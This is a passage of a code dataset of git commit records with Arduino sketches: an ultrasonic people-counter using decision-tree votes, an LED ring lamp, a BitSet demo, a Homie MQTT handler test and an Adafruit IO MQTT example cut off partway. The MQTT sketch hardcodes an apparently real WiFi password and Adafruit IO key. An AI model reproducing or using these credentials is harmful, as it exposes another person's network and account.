69.625) {\n vote[i] = 1;\n } else {\n if (ar[0] < 78.07) {\n vote[i] = 1;\n } else {\n if (ar[2] < 88.865) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n }\n else if (i == 16) { \/\/ \uc601\uc1a1\n if (ar[3] < 75.25) {\n vote[i] = -1;\n } else {\n if (ar[1] < 61.875) {\n vote[i] = -1;\n } else {\n if (ar[1] < 89.465) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 17) { \/\/ \uc720\uc131\n if (ar[11] < 29.615) {\n if (ar[0] < 87.48) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[1] < 78.645) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 18) { \/\/ \uc2b9\uc5f0\n if (ar[2] < 51.29) {\n if (ar[1] < 43.005) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[2] < 88.565) {\n if (ar[0] < 68.315) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 19) { \/\/ \uc6a9\uc6b1\n if (ar[7] < 40.145) {\n if (ar[6] < 42.94) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[15] < 33.16) {\n if (ar[5] < 86.505) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 20) { \/\/ \uae40\ud604\uc911\n if (ar[3] < 86.605) {\n if (ar[2] < 57.8) {\n vote[i] = 1;\n } else {\n if (ar[6] < 40.42) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n } else {\n if (ar[1] < 59.46) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 21) { \/\/ \uc7a5\uc601\uc900\n if (ar[7] < 81.99) {\n if (ar[14] < 43.185) {\n vote[i] = 1;\n } else {\n if (ar[0] < 81.265) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n } else {\n if (ar[1] < 90.145) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 22) { \/\/ \uc8fc\ubcd1\n if (ar[4] < 77.095) {\n if (ar[1] < 94.82) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[8] < 16.45) {\n vote[i] = 1;\n } else {\n if (ar[2] < 65.125) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 23) { \/\/ \uc6d0\uade0\n if (ar[7] < 60.91) {\n if (ar[0] < 51.18) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[14] < 86.355) {\n vote[i] = 1;\n } else {\n if (ar[5] < 86.23) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 24) { \/\/ \uc9c0\uc601\n if (ar[6] < 62.33) {\n if (ar[1] < 88.91) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[4] < 69.625) {\n vote[i] = 1;\n } else {\n if (ar[0] < 78.07) {\n vote[i] = 1;\n } else {\n if (ar[2] < 88.865) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n }\n else if (i == 25) { \/\/ \uaddc\ubd09\n if (ar[6] < 52.785) {\n if (ar[13] < 26.455) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[0] < 76.335) {\n vote[i] = 1;\n } else {\n if (ar[8] < 89.33) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 26) { \/\/ \uc9c4\uc6a9\n if (ar[12] < 29.46) {\n if (ar[3] < 38.565) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[4] < 37.44) {\n vote[i] = 1;\n } else {\n if (ar[8] < 29.02) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 27) { \/\/ \uacbd\ub098?\n if (ar[7] < 40.44) {\n vote[i] = -1;\n } else {\n if (ar[3] < 35.905) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 28) {\n if (ar[3] < 81.64) {\n if (ar[0] < 50.085) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[1] < 80.765) {\n vote[i] = -1;\n } else {\n if (ar[1] < 89.66) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 29) {\n if (ar[7] < 41.715) {\n vote[i] = -1;\n } else {\n if (ar[1] < 86.76) {\n vote[i] = -1;\n } else {\n if (ar[3] < 64.51) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 30) {\n if (ar[3] < 46.68) {\n vote[i] = -1;\n } else {\n if (ar[2] < 86.555) {\n vote[i] = 1;\n } else {\n if (ar[0] < 78.215) {\n vote[i] = 1;\n } else {\n if (ar[3] < 65.625) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n }\n else if (i == 31) {\n if (ar[4] < 80.99) {\n if (ar[3] < 45.485) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[2] < 81.355) {\n vote[i] = 1;\n } else {\n if (ar[0] < 64.835) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 32) {\n if (ar[7] < 69.09) {\n if (ar[2] < 74.935) {\n if (ar[1] < 59.635) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n else if (i == 33) {\n if (ar[6] < 79.955) {\n if (ar[1] < 90.88) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[4] < 56.625) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 34) {\n if (ar[3] < 79.925) {\n if (ar[4] < 75.775) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[1] < 75.685) {\n vote[i] = -1;\n } else {\n if (ar[2] < 87.795) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 35) {\n if (ar[7] < 46.985) {\n vote[i] = -1;\n } else {\n if (ar[0] < 86.755) {\n vote[i] = 1;\n } else {\n if (ar[1] < 87.785) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 36) {\n if (ar[4] < 86.545) {\n vote[i] = 1;\n } else {\n if (ar[2] < 81.535) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 37) {\n if (ar[2] < 86.51) {\n if (ar[6] < 87.74) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[0] < 82) {\n vote[i] = 1;\n } else {\n if (ar[7] < 87.76) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 38) {\n if (ar[4] < 79.465) {\n if (ar[1] < 45.99) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[6] < 75.765) {\n vote[i] = 1;\n } else {\n if (ar[0] < 84.38) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 39) {\n if (ar[4] < 71.125) {\n if (ar[7] < 36.985) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[0] < 75.86) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 40) {\n if (ar[0] < 86.595) {\n vote[i] = 1;\n } else {\n if (ar[2] < 75.555) {\n vote[i] = 1;\n } else {\n if (ar[2] < 87.485) {\n if (ar[6] < 55.33) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 41) {\n if (ar[3] < 78.005) {\n if (ar[0] < 57.29) {\n vote[i] = 1;\n } else {\n if (ar[4] < 28.145) {\n vote[i] = 1;\n } else {\n vote[i] = 1;\n }\n }\n } else {\n if (ar[6] < 87.055) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 42) {\n if (ar[3] < 81.665) {\n if (ar[2] < 86.285) {\n vote[i] = 1;\n } else {\n if (ar[2] < 88.895) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n } else {\n if (ar[5] < 71.495) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 43) {\n if (ar[4] < 86.72) {\n if (ar[5] < 54.95) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[2] < 81.78) {\n vote[i] = 1;\n } else { \n vote[i] = -1;\n }\n }\n }\n else if (i == 44) {\n if (ar[6] < 86.28) {\n if (ar[1] < 89.655) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[0] < 86.59) {\n vote[i] = 1;\n } else {\n if (ar[2] < 62.425) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 45) {\n if (ar[6] < 86.295) {\n if (ar[1] < 53.585) {\n vote[i] = -1;\n } else {\n if (ar[1] < 89.69) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n } else {\n if (ar[6] < 87.32) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n else if (i == 46) {\n if (ar[6] < 79.27) {\n if (ar[3] < 35.905) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n } else {\n if (ar[2] < 70.465) {\n vote[i] = 1;\n } else {\n if (ar[0] < 65.68) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n }\n else if (i == 47) {\n if (ar[2] < 84.245) {\n vote[i] = 1;\n } else {\n if (ar[4] < 64.175) {\n vote[i] = 1;\n } else {\n if (ar[2] < 88.625) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n }\n else if (i == 48) {\n if (ar[7] < 43.52) {\n if (ar[2] < 60.06) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[2] < 87.24) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n }\n }\n else if (i == 49) {\n if (ar[7] < 59.045) {\n if (ar[4] < 60.62) {\n vote[i] = 1;\n } else {\n vote[i] = -1;\n }\n } else {\n if (ar[5] < 65.57) {\n vote[i] = -1;\n } else {\n vote[i] = 1;\n }\n }\n }\n}\n\nvoid print_value() {\n \/\/ Serial.print(times);\n \/\/ Serial.print(\"\\t\");\n\n \/\/ if (times > 30 && (!isInBound(0) || !isInBound(1) || !isInBound(2) || !isInBound(3))) {\n \/\/ if (index < 40) {\n \/\/ \/\/ ar[index++] = Qavg[0];\n \/\/ \/\/ ar[index++] = Qavg[1];\n \/\/ \/\/ ar[index++] = Qavg[2];\n \/\/ \/\/ ar[index++] = Qavg[3];\n \/\/ }\n \/\/ isNewLine = false;\n \/\/ data_cnt += 4;\n \/\/ }\n\n \/\/ for (int i = 0; i < 4; i++) {\n \/\/ Q[i].push(distance[i]);\n \/\/ Qsum[i] += distance[i];\n \/\/ }\n \/\/\n \/\/ if (Q[0].count() == QN + 1) {\n \/\/ for (int i = 0; i < 4; i++) {\n \/\/ Qsum[i] -= Q[i].pop();\n \/\/ }\n \/\/ }\n \/\/\n \/\/ for (int i = 0; i < 4; i++)\n \/\/ Qavg[i] = Qsum[i] \/ Q[i].count();\n\n if (isInBound(0) && isInBound(1) && isInBound(2) && isInBound(3) && !isNewLine) {\n cnt++;\n } else {\n cnt = 0;\n }\n\n if (cnt == 3) {\n cnt = 0;\n if (ar[12] != 0 || ar[13] != 0 || ar[14] != 0 || ar[15] != 0) {\n for (int i = 0; i < TREE_SIZE; i++) {\n process(i);\n }\n int sum = 0;\n int out = 0, in = 0;\n for (int i = 0; i < TREE_SIZE; i++) {\n Serial.print(vote[i]);\n Serial.print(\"\\t\");\n if (vote[i] == -1) out++;\n else if (vote[i] == 1) in++;\n sum += vote[i];\n vote[i] = 0;\n }\n Serial.println(\"\\t\");\n Serial.println(\"\\t\");\n Serial.print(\"IN : \");\n Serial.print(in);\n Serial.print(\"\\t\");\n Serial.print(\"OUT : \");\n Serial.print(out);\n Serial.print(\"\\t\");\n Serial.print(\"RESULT : \");\n Serial.print(sum);\n Serial.println(\"\\t\");\n Serial.println(\"\\t\");\n in = 0; out = 0; sum = 0;\n }\n for (int i = 0; i < 16; i++) {\n ar[i] = 0;\n }\n\n \/\/ if (sw) {\n \/\/ for (int i = 0; i < DATA_SIZE - data_cnt; i++) {\n \/\/ Serial.print('0');\n \/\/ Serial.print(\"\\t\");\n \/\/ }\n \/\/ Serial.println();\n \/\/ }\n data_cnt = 0;\n isNewLine = true;\n index = 0;\n }\n\n \/\/ if (!isInBound(0) || !isInBound(1) || !isInBound(2) || !isInBound(3)) {\n \/\/ if (!first && D.count() < 12) {\n \/\/ D.push(Qavg[0]);\n \/\/ D.push(Qavg[1]);\n \/\/ D.push(Qavg[2]);\n \/\/ D.push(Qavg[3]);\n \/\/ }\n \/\/ if (!first && D.count() == 12) {\n \/\/ for (int i = 0; i < 12; i++) ar[i] = D.pop();\n \/\/ first = true;\n \/\/ \/\/ Serial.println(\"First On!\");\n \/\/ }\n \/\/ if (first && !last) {\n \/\/ D.push(Qavg[0]);\n \/\/ D.push(Qavg[1]);\n \/\/ D.push(Qavg[2]);\n \/\/ D.push(Qavg[3]);\n \/\/ if (D.count() > 12) for (int i = 0; i < 4; i++) D.pop();\n \/\/ }\n \/\/ }\n \/\/\n \/\/ if (first && !last && cnt == 2) {\n \/\/ for (int i = 12; i < 24; i++) ar[i] = D.pop();\n \/\/ last = true;\n \/\/ }\n \/\/ if (first && last) {\n \/\/ process();\n \/\/ }\n \/\/ if (cnt == 2) {\n \/\/ for (int i = 0; i < 24; i++) ar[i] = 0;\n \/\/ isNewLine = true;\n \/\/ cnt = 0;\n \/\/ first = false;\n \/\/ last = false;\n \/\/ }\n\n\/\/ if (!isInBound(0) || !isInBound(1) || !isInBound(2) || !isInBound(3)) {\n\/\/ if (index < 14) {\n\/\/ for (int i = 0; i < 4; i++) {\n\/\/ if (distance[i] == 120.0) {\n\/\/ ar[index++] = 0;\n\/\/ } else {\n\/\/ ar[index++] = distance[i];\n\/\/ }\n\/\/ }\n\/\/ }\n for (int i = 0; i < 4; i++) {\n \/\/ if (!isInBound(i)) {\n Serial.print(distance[i]);\n Serial.print(\"\\t\");\n \/\/ }\n }\n data_cnt += 4;\n isNewLine = false;\n \/\/ for (int i = 0; i < 4; i++) {\n \/\/ \/\/ if (!isInBound(i)) {\n \/\/ Serial.print(lowerbound[i]);\n \/\/ Serial.print(\"\\t\");\n \/\/ \/\/ }\n \/\/ }\n \/\/ for (int i = 0; i < 4; i++) {\n \/\/ \/\/ if (!isInBound(i)) {\n \/\/ Serial.print(upperbound[i]);\n \/\/ Serial.print(\"\\t\");\n \/\/ \/\/ }\n \/\/ }\n Serial.println();\n\/\/ }\n}\n\nfloat getDistance(int i) {\n float result, du;\n digitalWrite(trig[i], HIGH);\n delay(5);\n digitalWrite(trig[i], LOW);\n du = pulseIn(echo[i], HIGH);\n \/\/ result = ((float)(340 * du) \/ 10000) \/ 2;\n result = du \/ 58.2;\n if (result > 120) result = 120; \/\/ \ud280\ub294 \uac12 120\uc73c\ub85c \ubcf4\uc815\n return result;\n}\n\n\/\/float getMedian(float a, float b, float c) {\n\/\/ float A = a, B = b, C = c;\n\/\/ if (b >= a && a >= c) return A;\n\/\/ if (c >= a && a >= b) return A;\n\/\/ if (a >= b && b >= c) return B;\n\/\/ if (c >= b && b >= a) return B;\n\/\/ if (a >= c && c >= b) return C;\n\/\/ if (b >= c && c >= a) return C;\n\/\/}\n\nvoid loop() {\n int num = 1;\n\n for (int i = 0; i < 4; i++) distance[i] = getDistance(i);\n\n\n\n \/\/ \ubc14\uc6b4\ub4dc \uacc4\uc0b0\uc744 \uc704\ud55c \ucd08\uae30\uac12 (\ubcbd) \uac70\ub9ac \uce21\uc815\n \/\/ initialize(30);\n\n \/\/ \ubc14\uc6b4\ub4dc \uacc4\uc0b0\n \/\/ if (times == 30) calculate_bound(30);\n\n\n \/\/ \ucd9c\ub825\n print_value();\n\n if (Serial.available()) {\n Serial.read();\n sw = !sw;\n }\n\n times++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/arduino\/peopleinside.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"588af596b0f003350ca7a1ddc421de863cb657e5","subject":"Circle version lamp","message":"Circle version lamp\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"circle\/circle.ino","new_file":"circle\/circle.ino","new_contents":"#import <FastLED.h>\nstruct CRGB leds[N_LEDS];\n\nvoid setup() {\n FastLED.addLeds<WS2812B, 7, GRB>(leds, 93);\n FastLED.setMaxPowerInVoltsAndMilliamps(5,3000);\n}\n\nint rings[6] = { 32, 24, 16, 12, 8, 1 };\nint frame = 0;\n\nvoid loop() {\n int offset = 0;\n for(int ring = 0; ring < 6; ring++) {\n int pixels = rings[ring];\n \/\/ frame steps the ring around, ring * 3 off-sets each ring 3 pixels\n uint8_t rainbowStart = frame + ring * 3;\n int rainbowDelta = 255 \/ pixels;\n fill_rainbow(&(leds[offset]), pixels, rainbowStart, rainbowDelta);\n offset += pixels;\n }\n EVERY_N_MILLISECONDS(5) { frame++; }\n FastLED.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'circle\/circle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4058f52d835dbf9b1b007e0fcc8387bff3aa7116","subject":"Revert to saved.","message":"Revert to saved.\n","repos":"kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,dansut\/Cosa,SinishaDjukic\/Meshwork,rrobinet\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,mikaelpatel\/Cosa,dansut\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa","old_file":"examples\/Sandbox\/CosaBitSet\/CosaBitSet.ino","new_file":"examples\/Sandbox\/CosaBitSet\/CosaBitSet.ino","new_contents":"\/**\n * @file CosaBitSet.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Demonstrate Cosa BitSet class.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/BitSet.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Memory.h\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nenum {\n RED,\n GREEN,\n BLUE,\n YELLOW,\n MAGENTA,\n CYAN\n};\n \nvoid setup()\n{\n BitSet<68> a, b;\n\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaBitSet: started\"));\n Watchdog::begin();\n\n TRACE(free_memory());\n TRACE(sizeof(a));\n \n \/\/ Check that the bitset is empty\n ASSERT(b.isempty());\n ASSERT(a == b);\n \n \/\/ Add and remove elements\n ASSERT(!b[GREEN]);\n b += GREEN;\n ASSERT(b[GREEN]);\n b -= GREEN;\n ASSERT(!b[GREEN]);\n b += RED;\n b += CYAN;\n ASSERT(b[RED] && b[CYAN]);\n trace << PSTR(\"B0:\") << b << endl;\n\n \/\/ Assign and check that they are equal\n a = b;\n ASSERT(a == b);\n trace << PSTR(\"A0:\") << a << endl;\n\n \/\/ Add element and another bitset\n a += a.members() \/ 2;\n trace << PSTR(\"A1:\") << a << endl;\n\n \/\/ Try adding element outside the bitset\n b += 67;\n b += 68;\n b += 100;\n trace << PSTR(\"B1:\") << b << endl;\n ASSERT(b[RED] && b[CYAN] && b[67]);\n ASSERT(!b[68] && !b[100]);\n\n \/\/ Remove bitset and the last element\n b -= a;\n b -= 67;\n trace << PSTR(\"B2:\") << b << endl;\n ASSERT(b.isempty());\n for (uint16_t i = 4; i < b.members(); i += 5)\n b += i;\n trace << PSTR(\"B3:\") << b << endl;\n}\n\nvoid loop()\n{\n ASSERT(true == false);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaBitSet\/CosaBitSet.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"eba2f359b0d87e1476584ab26fb9bc9f3391ca3d","subject":"Create testAllInputHandlers.ino","message":"Create testAllInputHandlers.ino","repos":"marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266","old_file":"examples\/testAllInputHandlers\/testAllInputHandlers.ino","new_file":"examples\/testAllInputHandlers\/testAllInputHandlers.ino","new_contents":"\/*\n\nThis is a sketch testing all the different types of handlers\nThe global input handler will always be triggered.\nSetting lightnode1\/property1\/ will trigger the node input handler.\nSetting lightnode2\/property1\/ will trigger the property input handler.\n\n*\/\n\n#include <Arduino.h>\n#include <Homie.h>\n\nbool globalInputHandler(const HomieNode& node, const HomieRange& range, const String& property, const String& value) {\n Homie.getLogger() << \"Global input handler. Received on node \" << node.getId() << \": \" << property << \" = \" << value << endl;\n return false;\n}\n\nbool nodeInputHandler(const HomieRange & range, const String & property, const String & value) {\n Homie.getLogger() << \"Node input handler. Received on property \" << property << \" value: \" << value;\n return true;\n}\n\nbool propertyInputHandler(const HomieRange& range, const String& value) {\n Homie.getLogger() << \"Property input handler. Receveived value: \" << value;\n return true;\n}\n\nHomieNode lightNode1(\"lightnode1\", \"Light Node One Name\",\"switch\", false, 0 , 0, &nodeInputHandler);\nHomieNode lightNode2(\"lightnode2\", \"Light Two One Name\",\"switch\");\n\nvoid setup() {\n Serial.begin(115200);\n Serial << endl << endl;\n Homie_setFirmware(\"Test all input handlers\", \"0.0.1\");\n lightNode1.advertise(\"property1\").setName(\"ln1 First property\").setDatatype(\"boolean\").settable();\n lightNode2.advertise(\"property1\").setName(\"ln2 First property\").setDatatype(\"boolean\").settable(propertyInputHandler);\n Homie.setGlobalInputHandler(globalInputHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/testAllInputHandlers\/testAllInputHandlers.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f4c449971f068ce553e775b0ff3e8885915ed33a","subject":"_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino 05_kidSerie","message":"_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino 05_kidSerie\n\n_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino 05_kidSerie","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino","new_file":"_05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino","new_contents":"\/*\n Project name:\n 05 #kidSerie - Adafruit-IO Meets ESP8266, Arduino & MIT App Inventor 2\n (Awesome Smart Phone App!)\n Flavour III -\n Hex File: _05_kidSerie_sketch_03.Adafruit_Fisrt_feeds.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n\n Description:\n Code sequence to get the final flavor V. Follow, please!\n Simple code to intro Adafruit-io technology using MQTT broker, ESP8266, DHTXX sensor & arduino.\n We will publish two topics: temp and humidity and subscribe them also.\n We will access the our dashboard by phone using MIT App Inventor 2.\n Awesome project!!!\n\n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n\n Connections:\n See Official youtube channel vids:\n Based on: Tony DiCola for Adafruit Industries - see below!\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n Works great with Adafruit's Huzzah ESP board & Feather\n ----> https:\/\/www.adafruit.com\/product\/2471\n ----> https:\/\/www.adafruit.com\/products\/2821\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n Written by Tony DiCola for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n \/******************************* Adafruit MQTT *******************************\/\n\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/******************************* Esp8266**************************************\/\n\n#include <ESP8266WiFi.h>\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"colibri\" \/\/\"...your SSID...\"\n#define WLAN_PASS \"jr10589238\"\/\/\"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883 \/\/ use 8883 for SSL\n#define AIO_USERNAME \"giljr\"\/\/ \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"6dfe661db07e4b3cbd109d064c778e55\" \/\/ \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\/\/ or... use WiFiFlientSecure for SSL\n\/\/WiFiClientSecure client;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, AIO_SERVER, AIO_SERVERPORT, AIO_USERNAME, AIO_KEY);\n\n\/****************************** Feeds ***************************************\/\n\/****************************** Topics ***************************************\/\n\/\/ Setup a feed called 'photocell' for publishing.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nAdafruit_MQTT_Publish photocell = Adafruit_MQTT_Publish(&mqtt, AIO_USERNAME \"\/feeds\/photocell\");\n\/****************************** Subscriptions*********************************\/\n\/\/ Setup a feed called 'photocell' for subscribing to changes.\nAdafruit_MQTT_Subscribe photocell_subsc = Adafruit_MQTT_Subscribe(&mqtt, AIO_USERNAME \"\/feeds\/photocell\");\n\n\/*************************** MQTT Conn ************************************\/\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\n\n\/****************************** Setup ***************************************\/\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n Serial.println(F(\"Adafruit MQTT demo\"));\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println();\n\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \"); Serial.println(WiFi.localIP());\n\n \/\/ Setup MQTT subscription for onoff feed.\n mqtt.subscribe(&photocell_subsc);\n}\n\nuint32_t x=0; \/\/ Mock data\n\n\/****************************** Loop ***************************************\/\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n \/\/ try to spend your time here\n \n \/****************************** Subscript ***********************************\/\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(5000))) {\n if (subscription == &photocell_subsc) {\n Serial.print(F(\"Got: \"));\n Serial.println((char *)photocell_subsc.lastread);\n }\n }\n \/****************************** Publish **********************************\/\n \/\/ Now we can publish stuff!\n Serial.print(F(\"\\nSending photocell val \"));\n Serial.print(x);\n Serial.print(\"...\");\n if (! photocell.publish(x++)) {\n Serial.println(F(\"Failed\"));\n } else {\n Serial.println(F(\"OK!\"));\n }\n\/****************************** Ping ***************************************\/\n\n \/\/ ping the server to keep the mqtt connection alive\n \/\/ NOT required if you are publishing once every KEEPALIVE seconds\n \/*\n if(! mqtt.ping()) {\n mqtt.disconnect();\n }\n *\/\n}\n\/********************************* MQTT Conn ********************************\/\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if 